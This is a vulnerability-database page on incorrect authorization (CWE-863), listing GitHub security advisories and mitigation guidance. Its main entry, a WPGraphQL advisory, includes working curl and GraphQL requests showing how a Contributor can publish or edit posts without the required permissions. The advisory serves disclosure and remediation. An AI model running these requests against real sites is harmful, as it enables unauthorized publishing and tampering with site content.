Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

7172 vulnerabilities reference this CWE, most recent first.

GHSA-5MMC-8PC9-WGGG

Vulnerability from github – Published: 2026-09-23 14:13 – Updated: 2026-09-23 14:13
VLAI
Summary
WPGraphQL: Contributor can publish and modify posts without the required capabilities via updatePost
Details

Summary

WPGraphQL 2.19.0 contains an authorization bypass in the updatePost mutation. An authenticated WordPress Contributor can change one of their own draft posts to PUBLISH despite lacking the publish_posts capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking edit_published_posts and failing WordPress's object-level edit_post capability check.

This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.

Affected software

  • Plugin: WPGraphQL
  • Plugin slug: wp-graphql
  • Confirmed affected version: 2.19.0
  • Plugin URL: https://wordpress.org/plugins/wp-graphql/
  • Repository: https://github.com/wp-graphql/wp-graphql
  • WordPress version used for testing: 7.0.2
  • WPGraphQL configuration: default settings

Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.

Vulnerability type

  • Broken access control / authorization bypass
  • CWE-863: Incorrect Authorization
  • OWASP 2021: A01 – Broken Access Control
  • Minimum required role: Contributor

Technical cause

src/Mutation/PostObjectUpdate.php checks only the post type's collection-level edit_posts capability:

if ( ! isset( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->edit_posts ) ) {
    // Reject request.
}

It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:

current_user_can( $post_type_object->cap->edit_post, $post_id )

It also does not check publish_posts when the requested update changes the post status to publish. The mutation passes the requested status directly to wp_update_post(), which expects its caller to have already enforced authorization.

By comparison, WPGraphQL's createPost implementation explicitly checks publish_posts and changes an unauthorized requested status to pending. This protection is absent from updatePost.

Preconditions

  1. WPGraphQL 2.19.0 is installed and activated using its default settings.
  2. The attacker controls a normal WordPress Contributor account.
  3. The attacker can authenticate to /graphql, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid wp_graphql/wp_rest nonce.

No administrator action beyond assigning the standard Contributor role is required. The Contributor role has edit_posts, but does not have publish_posts or edit_published_posts.

Reproduction

The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.

1. Create a draft as the Contributor

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \
  'https://wordpress.example/graphql'

Example response:

{
  "data": {
    "createPost": {
      "post": {
        "databaseId": 21,
        "title": "Contributor publication bypass test",
        "status": "draft"
      }
    }
  }
}

Record the returned databaseId. The example below uses 21.

2. Verify that WordPress REST denies publication

Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API:

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"status":"publish"}' \
  'https://wordpress.example/wp-json/wp/v2/posts/21'

Expected control response:

{
  "code": "rest_cannot_publish",
  "message": "Sorry, you are not allowed to publish posts.",
  "data": {
    "status": 403
  }
}

This establishes that the Contributor lacks the WordPress capability required for the operation.

3. Publish the same draft through WPGraphQL

curl --user 'gql_contributor:APPLICATION_PASSWORD' \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \
  'https://wordpress.example/graphql'

Observed response on WPGraphQL 2.19.0:

{
  "data": {
    "updatePost": {
      "post": {
        "databaseId": 21,
        "title": "Contributor publication bypass test",
        "status": "publish",
        "uri": "/contributor-publication-bypass-test/"
      }
    }
  }
}

The post is now publicly accessible without editorial approval.

4. Verify public exposure remotely

Open the returned uri without authentication, or query it without credentials:

curl -H 'Content-Type: application/json' \
  --data-binary '{"query":"query { post(id:\"21\", idType:DATABASE_ID) { databaseId title status uri } }"}' \
  'https://wordpress.example/graphql'

The post is returned with status publish.

Additional affected operation

If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack edit_published_posts. Nevertheless, the following mutation changes its title and content:

mutation {
  updatePost(input: {
    id: "PUBLISHED_POST_DATABASE_ID"
    title: "Unauthorized change after editorial approval"
    content: "The Contributor can replace previously approved content."
  }) {
    post {
      databaseId
      title
      status
    }
  }
}

In live testing, the REST API returned 403 rest_cannot_edit for this operation while WPGraphQL returned the modified published post.

Security impact

A compromised or malicious Contributor account can bypass the site's editorial approval boundary and:

  • Publish arbitrary posts without an Editor or Administrator approving them.
  • Publish spam, phishing, misleading, or SEO content under the attacker's account.
  • Modify content after an Editor has reviewed and published it.
  • Change the status of the attacker's previously published posts, potentially removing approved content from public view.
  • Repeat the process for additional drafts because Contributors can normally create drafts.

The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.

Suggested remediation

Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:

if (
    ! isset( $post_type_object->cap->edit_post ) ||
    ! current_user_can( $post_type_object->cap->edit_post, $post_id )
) {
    throw new UserError( /* authorization error */ );
}

Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's publish_posts capability. Tests should cover at least:

  • Contributor updating their own draft: allowed.
  • Contributor publishing their own draft: denied or changed to pending.
  • Contributor editing their own previously published post: denied.
  • Author publishing and editing their own post: allowed.
  • Contributor editing another author's post: denied.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.22.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wp-graphql/wp-graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T14:13:04Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWPGraphQL 2.19.0 contains an authorization bypass in the `updatePost` mutation. An authenticated WordPress Contributor can change one of their own draft posts to `PUBLISH` despite lacking the `publish_posts` capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking `edit_published_posts` and failing WordPress\u0027s object-level `edit_post` capability check.\n\nThis bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.\n\n## Affected software\n\n- Plugin: WPGraphQL\n- Plugin slug: `wp-graphql`\n- Confirmed affected version: `2.19.0`\n- Plugin URL: https://wordpress.org/plugins/wp-graphql/\n- Repository: https://github.com/wp-graphql/wp-graphql\n- WordPress version used for testing: `7.0.2`\n- WPGraphQL configuration: default settings\n\nOnly version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.\n\n## Vulnerability type\n\n- Broken access control / authorization bypass\n- CWE-863: Incorrect Authorization\n- OWASP 2021: A01 \u2013 Broken Access Control\n- Minimum required role: Contributor\n\n## Technical cause\n\n`src/Mutation/PostObjectUpdate.php` checks only the post type\u0027s collection-level `edit_posts` capability:\n\n```php\nif ( ! isset( $post_type_object-\u003ecap-\u003eedit_posts ) || ! current_user_can( $post_type_object-\u003ecap-\u003eedit_posts ) ) {\n    // Reject request.\n}\n```\n\nIt separately prevents a user from changing another author\u0027s post, but it does not perform WordPress\u0027s object-level check:\n\n```php\ncurrent_user_can( $post_type_object-\u003ecap-\u003eedit_post, $post_id )\n```\n\nIt also does not check `publish_posts` when the requested update changes the post status to `publish`. The mutation passes the requested status directly to `wp_update_post()`, which expects its caller to have already enforced authorization.\n\nBy comparison, WPGraphQL\u0027s `createPost` implementation explicitly checks `publish_posts` and changes an unauthorized requested status to `pending`. This protection is absent from `updatePost`.\n\n## Preconditions\n\n1. WPGraphQL 2.19.0 is installed and activated using its default settings.\n2. The attacker controls a normal WordPress Contributor account.\n3. The attacker can authenticate to `/graphql`, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid `wp_graphql`/`wp_rest` nonce.\n\nNo administrator action beyond assigning the standard Contributor role is required. The Contributor role has `edit_posts`, but does not have `publish_posts` or `edit_published_posts`.\n\n## Reproduction\n\nThe following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.\n\n### 1. Create a draft as the Contributor\n\n```bash\ncurl --user \u0027gql_contributor:APPLICATION_PASSWORD\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"query\":\"mutation { createPost(input:{title:\\\"Contributor publication bypass test\\\", content:\\\"Created by a Contributor and not reviewed by an editor.\\\", status:DRAFT}) { post { databaseId title status } } }\"}\u0027 \\\n  \u0027https://wordpress.example/graphql\u0027\n```\n\nExample response:\n\n```json\n{\n  \"data\": {\n    \"createPost\": {\n      \"post\": {\n        \"databaseId\": 21,\n        \"title\": \"Contributor publication bypass test\",\n        \"status\": \"draft\"\n      }\n    }\n  }\n}\n```\n\nRecord the returned `databaseId`. The example below uses `21`.\n\n### 2. Verify that WordPress REST denies publication\n\nUsing the same Contributor credentials, attempt to publish the draft through the WordPress REST API:\n\n```bash\ncurl --user \u0027gql_contributor:APPLICATION_PASSWORD\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"status\":\"publish\"}\u0027 \\\n  \u0027https://wordpress.example/wp-json/wp/v2/posts/21\u0027\n```\n\nExpected control response:\n\n```json\n{\n  \"code\": \"rest_cannot_publish\",\n  \"message\": \"Sorry, you are not allowed to publish posts.\",\n  \"data\": {\n    \"status\": 403\n  }\n}\n```\n\nThis establishes that the Contributor lacks the WordPress capability required for the operation.\n\n### 3. Publish the same draft through WPGraphQL\n\n```bash\ncurl --user \u0027gql_contributor:APPLICATION_PASSWORD\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"query\":\"mutation { updatePost(input:{id:\\\"21\\\", status:PUBLISH}) { post { databaseId title status uri } } }\"}\u0027 \\\n  \u0027https://wordpress.example/graphql\u0027\n```\n\nObserved response on WPGraphQL 2.19.0:\n\n```json\n{\n  \"data\": {\n    \"updatePost\": {\n      \"post\": {\n        \"databaseId\": 21,\n        \"title\": \"Contributor publication bypass test\",\n        \"status\": \"publish\",\n        \"uri\": \"/contributor-publication-bypass-test/\"\n      }\n    }\n  }\n}\n```\n\nThe post is now publicly accessible without editorial approval.\n\n### 4. Verify public exposure remotely\n\nOpen the returned `uri` without authentication, or query it without credentials:\n\n```bash\ncurl -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"query\":\"query { post(id:\\\"21\\\", idType:DATABASE_ID) { databaseId title status uri } }\"}\u0027 \\\n  \u0027https://wordpress.example/graphql\u0027\n```\n\nThe post is returned with status `publish`.\n\n## Additional affected operation\n\nIf an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack `edit_published_posts`. Nevertheless, the following mutation changes its title and content:\n\n```graphql\nmutation {\n  updatePost(input: {\n    id: \"PUBLISHED_POST_DATABASE_ID\"\n    title: \"Unauthorized change after editorial approval\"\n    content: \"The Contributor can replace previously approved content.\"\n  }) {\n    post {\n      databaseId\n      title\n      status\n    }\n  }\n}\n```\n\nIn live testing, the REST API returned `403 rest_cannot_edit` for this operation while WPGraphQL returned the modified published post.\n\n## Security impact\n\nA compromised or malicious Contributor account can bypass the site\u0027s editorial approval boundary and:\n\n- Publish arbitrary posts without an Editor or Administrator approving them.\n- Publish spam, phishing, misleading, or SEO content under the attacker\u0027s account.\n- Modify content after an Editor has reviewed and published it.\n- Change the status of the attacker\u0027s previously published posts, potentially removing approved content from public view.\n- Repeat the process for additional drafts because Contributors can normally create drafts.\n\nThe issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author\u0027s posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor\u0027s submitted HTML.\n\n## Suggested remediation\n\nBefore updating a post, enforce the post type\u0027s object-level meta capability with the target post ID, equivalent to WordPress REST behavior:\n\n```php\nif (\n    ! isset( $post_type_object-\u003ecap-\u003eedit_post ) ||\n    ! current_user_can( $post_type_object-\u003ecap-\u003eedit_post, $post_id )\n) {\n    throw new UserError( /* authorization error */ );\n}\n```\n\nStatus transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type\u0027s `publish_posts` capability. Tests should cover at least:\n\n- Contributor updating their own draft: allowed.\n- Contributor publishing their own draft: denied or changed to `pending`.\n- Contributor editing their own previously published post: denied.\n- Author publishing and editing their own post: allowed.\n- Contributor editing another author\u0027s post: denied.",
  "id": "GHSA-5mmc-8pc9-wggg",
  "modified": "2026-09-23T14:13:04Z",
  "published": "2026-09-23T14:13:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-5mmc-8pc9-wggg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-graphql/wp-graphql/pull/4270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-graphql/wp-graphql/commit/55441663eaa33c3f2e05de038c8286c845916461"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wp-graphql/wp-graphql"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.22.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WPGraphQL: Contributor can publish and modify posts without the required capabilities via updatePost"
}

GHSA-5MPQ-6GPC-2MF3

Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-26 21:31
VLAI
Details

Incorrect authorization in StorageAccessAPI in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-79005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T21:17:56Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect authorization in StorageAccessAPI in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-5mpq-6gpc-2mf3",
  "modified": "2026-08-26T21:31:33Z",
  "published": "2026-08-25T21:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79005"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/517540292"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5MPW-4546-2WCR

Vulnerability from github – Published: 2024-12-17 21:30 – Updated: 2024-12-17 22:30
VLAI
Summary
Elasticsearch Incorrect Authorization vulnerability
Details

An issue was discovered where improper authorization controls affected certain queries that could allow a malicious actor to circumvent Document Level Security in Elasticsearch and get access to documents that their roles would normally not allow.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.elasticsearch:elasticsearch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.16.0"
            },
            {
              "fixed": "8.16.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-17T22:30:17Z",
    "nvd_published_at": "2024-12-17T21:15:07Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered where improper authorization controls affected certain queries that could allow a malicious actor to circumvent Document Level Security in Elasticsearch and get access to documents that their roles would normally not allow.",
  "id": "GHSA-5mpw-4546-2wcr",
  "modified": "2024-12-17T22:30:17Z",
  "published": "2024-12-17T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12539"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/elasticsearch-8-16-2-8-17-0-security-update/372091"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elastic/elasticsearch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Elasticsearch Incorrect Authorization vulnerability"
}

GHSA-5MRG-PM7P-G34V

Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-07-13 00:01
VLAI
Details

Projectsend version r1295 is affected by sensitive information disclosure. Because of not checking authorization in ids parameter in files-edit.php and id parameter in process.php function, a user with uploader role can download and edit all files of users in application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-40884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-11T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "Projectsend version r1295 is affected by sensitive information disclosure. Because of not checking authorization in ids parameter in files-edit.php and id parameter in process.php function, a user with uploader role can download and edit all files of users in application.",
  "id": "GHSA-5mrg-pm7p-g34v",
  "modified": "2022-07-13T00:01:40Z",
  "published": "2022-05-24T19:17:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40884"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectsend/projectsend/issues/992"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5MX9-VCF9-4HVC

Vulnerability from github – Published: 2025-02-12 21:31 – Updated: 2025-02-12 21:31
VLAI
Details

Nomad Community and Nomad Enterprise ("Nomad") event stream configured with a wildcard namespace can bypass the ACL Policy allowing reads on other namespaces.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-0937"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-12T19:15:09Z",
    "severity": "HIGH"
  },
  "details": "Nomad Community and Nomad Enterprise (\"Nomad\") event stream configured with a wildcard namespace can bypass the ACL Policy allowing reads on other namespaces.",
  "id": "GHSA-5mx9-vcf9-4hvc",
  "modified": "2025-02-12T21:31:53Z",
  "published": "2025-02-12T21:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0937"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2025-02-nomad-vulnerable-to-event-stream-namespace-acl-policy-bypass-through-wildcard-namespace/73191"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P22-M2JF-CQ84

Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-08-06 00:00
VLAI
Details

A vulnerability was discovered in Management component of Avaya Equinox Conferencing that could potentially allow an unauthenticated, remote attacker to gain access to screen sharing and whiteboard sessions. The affected versions of Management component of Avaya Equinox Conferencing include all 3.x versions before 3.17. Avaya Equinox Conferencing is now offered as Avaya Meetings Server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-28T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was discovered in Management component of Avaya Equinox Conferencing that could potentially allow an unauthenticated, remote attacker to gain access to screen sharing and whiteboard sessions. The affected versions of Management component of Avaya Equinox Conferencing include all 3.x versions before 3.17. Avaya Equinox Conferencing is now offered as Avaya Meetings Server.",
  "id": "GHSA-5p22-m2jf-cq84",
  "modified": "2022-08-06T00:00:41Z",
  "published": "2022-05-24T17:49:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7038"
    },
    {
      "type": "WEB",
      "url": "https://support.avaya.com/css/P8/documents/101075574"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P26-VM69-MJXQ

Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18
VLAI
Details

The /profile/deleteWatch.do resource in Atlassian Fisheye and Crucible before version 4.8.1 allows remote attackers to remove another user's watching settings for a repository via an improper authorization vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-4014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-01T07:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The /profile/deleteWatch.do resource in Atlassian Fisheye and Crucible before version 4.8.1 allows remote attackers to remove another user\u0027s watching settings for a repository via an improper authorization vulnerability.",
  "id": "GHSA-5p26-vm69-mjxq",
  "modified": "2022-05-24T17:18:55Z",
  "published": "2022-05-24T17:18:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4014"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/CRUC-8467"
    },
    {
      "type": "WEB",
      "url": "https://jira.atlassian.com/browse/FE-7283"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5P3X-77GX-C43V

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-08 21:34
VLAI
Details

Acrobat Reader is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access. Exploitation of this issue does not require user interaction. Scope is changed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-81996"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T21:18:46Z",
    "severity": "HIGH"
  },
  "details": "Acrobat Reader is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-5p3x-77gx-c43v",
  "modified": "2026-09-08T21:34:33Z",
  "published": "2026-09-08T21:34:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81996"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb26-141.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P7G-QX77-8F6H

Vulnerability from github – Published: 2023-10-25 21:30 – Updated: 2025-04-11 15:32
VLAI
Details

The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.6.1. An app may be able to access protected user data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-41077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-25T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.6.1. An app may be able to access protected user data.",
  "id": "GHSA-5p7g-qx77-8f6h",
  "modified": "2025-04-11T15:32:14Z",
  "published": "2023-10-25T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41077"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/109050"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120950"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213985"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT213985"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2023/Oct/26"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P88-6546-29FH

Vulnerability from github – Published: 2025-11-08 00:31 – Updated: 2025-11-08 00:31
VLAI
Details

Improper Authorization in Elastic Cloud Enterprise can lead to Privilege Escalation where the built-in readonly user can call APIs that should not be allowed. The list of APIs that are affected by this issue is:

post:/platform/configuration/security/service-accounts delete:/platform/configuration/security/service-accounts/{user_id} patch:/platform/configuration/security/service-accounts/{user_id} post:/platform/configuration/security/service-accounts/{user_id}/keys delete:/platform/configuration/security/service-accounts/{user_id}/keys/{api_key_id} patch:/user post:/users post:/users/auth/keys delete:/users/auth/keys delete:/users/auth/keys/_all delete:/users/auth/keys/{api_key_id} delete:/users/{user_id}/auth/keys delete:/users/{user_id}/auth/keys/{api_key_id} delete:/users/{user_name} patch:/users/{user_name}

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-37736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-07T23:15:44Z",
    "severity": "HIGH"
  },
  "details": "Improper Authorization in Elastic Cloud Enterprise can lead to Privilege Escalation where the built-in readonly user can call APIs that should not be allowed. The list of APIs that are affected by this issue is:\n\n\n\n\n\npost:/platform/configuration/security/service-accounts\ndelete:/platform/configuration/security/service-accounts/{user_id}\npatch:/platform/configuration/security/service-accounts/{user_id}\npost:/platform/configuration/security/service-accounts/{user_id}/keys\ndelete:/platform/configuration/security/service-accounts/{user_id}/keys/{api_key_id}\npatch:/user\npost:/users\npost:/users/auth/keys\ndelete:/users/auth/keys\ndelete:/users/auth/keys/_all\ndelete:/users/auth/keys/{api_key_id}\ndelete:/users/{user_id}/auth/keys\ndelete:/users/{user_id}/auth/keys/{api_key_id}\ndelete:/users/{user_name}\npatch:/users/{user_name}",
  "id": "GHSA-5p88-6546-29fh",
  "modified": "2025-11-08T00:31:01Z",
  "published": "2025-11-08T00:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37736"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/elastic-cloud-enterprise-ece-3-8-3-and-4-0-3-security-update-esa-2025-22/383132"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.